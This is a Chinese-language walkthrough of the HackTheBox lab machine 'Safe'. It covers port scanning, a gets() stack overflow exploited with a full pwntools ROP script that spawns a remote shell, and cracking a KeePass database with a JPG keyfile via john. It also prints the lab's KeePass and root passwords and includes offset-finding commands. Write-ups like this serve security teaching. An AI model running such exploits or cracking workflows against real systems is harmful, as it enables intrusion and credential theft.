Safe-Writeup

概述 (Overview)

image

HOST:10.10.10.147 时间: 2021-08-03 机器作者: gh0stm5n 困难程度: easy MACHINE TAGS: * File Misconfiguration

攻击链 (Kiillchain)

通过对目标服务的开放端进行枚举,发现存在一个可疑的 1337 端口。对端口进行 telnet 连接,测试后有交互结果返回,尝试进行 fuzzing ,从异常退出信息中判断存在缓冲区溢出。

在静态 HTML 页面的注释中获得二进制程序,下载至本地分析。调试编写溢出攻击 exploit,运行 exploit 成功得到 User Flag。

在用户的目录文件夹中发现存在 KeePass Password Database,组合图片文件成功破解出 KeePass 数据库明文,使用库中的 root 密码成功完成权限提升。

枚举(Enumeration)

开局使用以下命令对目标服务器进行开放端口扫描:

nmap -p- -sC -sV -T4 -oA Ports -v 10.10.10.147

得到扫描详情如下所示:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP: | 23:07:29 up 24 min, 0 users, load average: 0.04, 0.01, 0.00 | DNSVersionBindReqTCP: | 23:07:24 up 24 min, 0 users, load average: 0.04, 0.01, 0.00 | GenericLines: | 23:07:12 up 24 min, 0 users, load average: 0.05, 0.01, 0.00 | What do you want me to echo back? | GetRequest: | 23:07:19 up 24 min, 0 users, load average: 0.05, 0.01, 0.00 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 23:07:34 up 25 min, 0 users, load average: 0.03, 0.01, 0.00 | What do you want me to echo back? HELP | NULL: | 23:07:12 up 24 min, 0 users, load average: 0.05, 0.01, 0.00 | RPCCheck: | 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00 | RTSPRequest: | 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00 | What do you want me to echo back? OPTIONS / RTSP/1.0 | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | 23:07:35 up 25 min, 0 users, load average: 0.03, 0.01, 0.00 |_ What do you want me to echo back?

从扫描详情中可以看到,目标服务器开放的端口还是挺少的。根据对 SSH、HTTP 等服务的识别结果,目标服务器系统是 Debian。注意到 1337 端口返回的内容有点奇怪。

TCP 1337 - ?

首先对 http server 进行了简单的目录枚举,并没有获取到任何有帮助的信息,转而查看奇怪的 1337 端口。

image

注意到浏览器中最后返回的内容,与 HTTP 中 Get 请求的首行内容一致,尝试使用 NC 与该端口进行交互,看能得到什么。

image

从返回的结果来看首先指令一条 `uptime` 命令,然后等待用户输入,我这输入了一个 help 随后服务器将我的输入拼接后返回了。

怀疑应该是一个溢出的题目,按照以往出题的尿性会把在服务器端的程序给到你。果然,在 http server 的页面注释中到了提示。

image

立足点(Foothold)

首先将文件下载至 kali,使用 file 命令简单查看下该文件的基本信息:

# file myapp myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

是一个 64 位的程序,将其加上执行权限后运行。

image

内容一致,符合心里预期,接着使用 IDA 工具加载后,得到伪代码:

undefined8 main(void) { char *s; // var char *s @ rbp-0x70 system("/usr/bin/uptime"); printf("\nWhat do you want me to echo back? "); gets(&s, 1000); puts(&s); return 0; }

与执行猜测的完全一致,这里存在 gets 函数溢出。快速验证下溢出的字符串长度:

image

是用 gdb 工具载入文件,查看下是否存在内存保护等信息:

# checksec --file=myapp [*] '/home/kali/hackthebox/Safe/file/myapp' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
  • PIE 是指 position independent executable,也就是地址随机化。No PIE 则说明编译时关闭了。
  • NX 是指 No-eXecute(不可执行),也就是指开启了栈不可执行保护。这里可以查看以前的文章对比下两者的区别 -->[[Hackthebox-Frolic.md id=f7b38951-ec27-4a22-995c-93bac0383886]]

在这里回顾下以前的知识,当 NX 栈保护关闭时 exploit 编写步骤:

  • 获取 libc 库 地址
  • 获取 system 函数地址
  • 获取 /bin/sh 命令字符串地址
  • 获取 EIP 的偏移量

对比以前的实例编写利用 exploit,碰到新的问题。在 libc 库和当前的程序中,找不到已有的命令执行的字符串,所以我们得想办法自己将字符串写进去。

还是和 [[Hackthebox-Frolic.md id=f7b38951-ec27-4a22-995c-93bac0383886]] 文章中一样,使用 ROP 方式进行绕过,不同的是这次需要向 gadgets 片段中写命令执行字符串。

ROP( Return Oriented Programming)其主要思想是在栈溢出的基础上,利用程序中已有的小片段( gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop 就是一种。

注:通俗的来说,rop 就是利用程序中已有的程序段来拼接一个我们需要的功能(函数)。

综合上述信息:

  • 有 gets()、puts()、printf()、system(),gets() 函数是存在溢出
  • 存在 libc.so 动态链接库
  • 没有 /bin/sh 字符串,所以要利用的话要想办法写入

这次需要用到 .bss 段。

bss 段:一般指程序中未初始化的或者初始化为 0 的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss 段会清 0

我们可以使用 readelf 命令直接搜索 .bss 段的基地址范围:

$ readelf -S myapp | grep bss [24] .bss NOBITS 0000000000404048 00003048 $ readelf -S myapp | grep data [23] .data PROGBITS 0000000000404038 00003038

在使用 gdb-peda 的是出现了点小问题,调试溢出长度的时候并没有如我们预期进入详情窗口,而是直接退出了:

image

解决方法则是需要加上 set follow-fork-mode parent命令,因为 peda 默认将允许的进程其切换到子级,所以出现异常直接退出了并不会打印堆栈的详情。

接着使用使用 ROPgadget 找利用链,得到 0x000000000040120b

# ROPgadget --binary myapp | grep "rdi\|rsi\|rdx\|rax" | grep pop 0x0000000000401134 : comiss xmm0, xmmword ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret 0x000000000040120b : pop rdi ; ret 0x0000000000401209 : pop rsi ; pop r15 ; ret

最终通过多种尝试,使用 pwn 的 ROP 库成功完成 exploit 脚本:

from pwn import * #context.log_level = "debug" file_path = './myapp' p = process(file_path) e = context.binary = ELF(file_path) # 0x401163 main # 0x401040 system_plt GOT # 0x40120b pop_rdi junk = b"A"*120 rop = ROP(e) rop.gets(e.bss()) rop.system(e.bss()) print(rop.dump()) p = remote("10.10.10.147", 1337) p.sendline(junk + rop.chain()) p.sendline(b'/bin/bash') p.interactive()

允许脚本成功获得的 safe 用户的交互 shell:

image

权限提升(Privilege Escalation)

在成功获得用户交互 shell 后,将 kali 的 ssh 公钥写入目标服务器的 `~/.ssh/authorized_keys` 文件。进行免密登录,方便我们后续的操作:

image

在当前的目录下发现存在一些图片和一个 .kdbx 文件, .kdbx 文件扩展是 KeePass Password Database ,为 KeePass Password Safe 软件程序开发的 Open Source 文件类型。

user@safe:~$ ls -ls total 11260 1864 -rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG 1872 -rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG 2472 -rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG 2860 -rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG 1100 -rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG 1064 -rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG 20 -rwxr-xr-x 1 user user 16592 May 13 2019 myapp 4 -rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx 4 -rw------- 1 user user 33 May 13 2019 user.txt

所以我们需要的 root 身份权限密码,很可能就存在这个密码数据库里。

如何使用 Hashcat 破解 KeePass 密码 - https://www.rubydevices.com.au/blog/how-to-hack-keepass

通过阅读上述的文章,尝试还原明文密码:

$ keepass2john MyPasswords.kdbx > MyPasswords.hash $ cat MyPasswords.hash MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96 $ john ./MyPasswords.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass

等待了很长一段时间,字典跑完了也没得到明文,期间尝试其他方式进行提权均失败。在查看 keepass2john 的帮助命令时,发现存在一个 -k 的参数,而这个参数值指向的是文件。

$ keepass2john --help keepass2john: invalid option -- '-' Usage: keepass2john [-k <keyfile>] <.kdbx database(s)>

寻思着需要组合文件夹内的 *.JPG 文件,所以将上述 *.JPG 的文件挨个生成新的 hash 内容:

MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96 MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*17c3509ccfb3f9bf864fca0bfaa9ab137c7fca4729ceed90907899eb50dd88ae MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*a22ce4289b755aaebc6d4f1b49f2430abb6163e942ecdd10a4575aefe984d162 MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7 MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*d86a22408dcbba156ca37e6883030b1a2699f0da5879c82e422c12e78356390f MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*facad4962e8f4cb2718c1ff290b5026b7a038ec6de739ee8a8a2dd929c376794 MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*7c83badcfe0cd581613699bb4254d3ad06a1a517e2e81c7a7ff4493a5f881cf2

生成完成后继续尝试解密 hash 内容,成功得到明文密码:

$ # john ./MyPasswords.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bullshit (MyPasswords) 1g 0:00:01:58 DONE (2021-08-03 17:15) 0.008448g/s 29.95p/s 186.5c/s 186.5C/s 1701d..sss Use the "--show" option to display all of the cracked passwords reliably Session completed

有了明文密码后安装对应平台的的 GUI 软件,我这里是 kali:

https://keepass.info/download.html

image

依次将明文密码和 keyfile 文件填写到窗口中:

MyPasswords:bullshit key file: IMG_0547.JPG

在打开的密码数据库中成功到了 root 身份的密码:u3v2249dl9ptv465cogl3cnpo3fyhk

image

使用该密码最终完成了权限提升:

image

回顾

关于 gdb 扩展安装

// peda 的安装 $ apt install gdb-peda $ echo "source /usr/share/gdb-peda/peda.py" >> ~/.gdbinit $ gdb gdb-peda> // gef 的安装 $ bash -c "$(curl -fsSL http://gef.blah.cat/sh)" $ wget -O ~/.gdbinit-gef.py -q http://gef.blah.cat/py $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit $ gdb gef >

ROP 学习

3.1.4 返回导向编程(ROP) - https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.4_rop_x86.html

在复盘的过程中,看到 0xdf 在文章中展示了三种不同的思路来处理:
方法一:泄漏 libc 函数地址,计算 /bin/sh 与 libc 中字符串的偏移量,然后调用 system(/bin/sh)。
方法二:将字符串/bin/sh 写入.data 然后调用 system()。
方法三:滥用从未调用过的 test()函数跳转到 system()。

gdb-peda$ disassemble test Dump of assembler code for function test: 0x0000000000401152 <+0>: push rbp 0x0000000000401153 <+1>: mov rbp,rsp 0x0000000000401156 <+4>: mov rdi,rsp 0x0000000000401159 <+7>: jmp r13 # 使用 JMP 命令,我们可以在程序的任何地方跳转。 0x000000000040115c <+10>: nop 0x000000000040115d <+11>: pop rbp 0x000000000040115e <+12>: ret End of assembler dump.

jmp r13 使用 JMP 命令,我们可以在程序的任何地方跳转。如果我们可以在 rsp 上输入我们想要的值,我们将能够使用 r13 标签调用 system()

gdb-peda$ ropsearch 'pop r13' Searching for ROP gadget: 'pop r13' in: binary ranges 0x00401206 : (b'415d415e415fc3') pop r13; pop r14; pop r15; ret ...snip... $ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5

Pwn 相关:

# 计算偏移 >>> from pwn import * >>> cyclic_find(0x62616166) 120 # 计算偏移-msf /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <rbp addr> -l 300 # 计算偏移-gdb: gdb-peda$ pattern search $rsp Registers contain pattern buffer: RBP+0 found at offset: 112 Registers point to pattern buffer: [RSI] --> offset 0 - size ~203 [RSP] --> offset 120 - size ~80 [R9] --> offset 48 - size ~152 ......

查找进程运行加载的系统库:

image

获取shell的方式列举: 序源码自带系统命令函数 -简单溢出 可以找到system函数的plt的绝对地址 -ret2text 利用输入函数,将shellcode写入到程序中 -ret2shellcode 利用ROPGadget配合int 0x80调用execve -ret2Syscall 利用Libc获取system函数的相对位置. -ret2Libc plt/got概念 plt表:Procedure Linkage Table程序联动表(内部函数表) got表:Global Offset Table 全局偏移表(全局函数表)

参考

  • https://paper.seebug.org/papers/Archive/refs/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf
  • https://myexperiments.io/exploit-basic-buffer-overflow.html
  • https://github.com/xct/ropstar
  • https://ropemporium.com/
  • https://github.com/longld/peda
  • https://libc.blukat.me/
  • http://ropshell.com/
  • https://github.com/jakecraige/ctf/blob/master/csaw-quals-2020/roppity/writeup.md
  • https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%89-buffer-overflow-123d6ae7236e
  • https://github.com/Gallopsled/pwntools-tutorial/blob/master/installing.md
  • https://bbs.pediy.com/thread-257238.htm
  • https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-syscall-execv
  • https://www.hebunilhanli.com/wonderland/htb/htb-safe/
  • https://www.freebuf.com/articles/network/177133.html
  • https://darkwing.moe/2019/04/09/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B011-ret2libc/
  • http://blog.tianzheng.cool/index.php/2020/10/22/pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%832-pwntools%E4%BD%BF%E7%94%A8%E5%85%A5%E9%97%A8/
  • https://www.wangan.com/docs/824
  • https://www.echocipher.life/index.php/archives/407/
  • https://www.hackthezone.com/wp-content/uploads/2019/11/Weaponizing-ROP-with-PwNtools-ANDREI-GRIGORAS-18oct2019HTZ.pdf
  • https://www.onctf.com/posts/cd763be3.html
  • https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.4_rop_x86.html


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。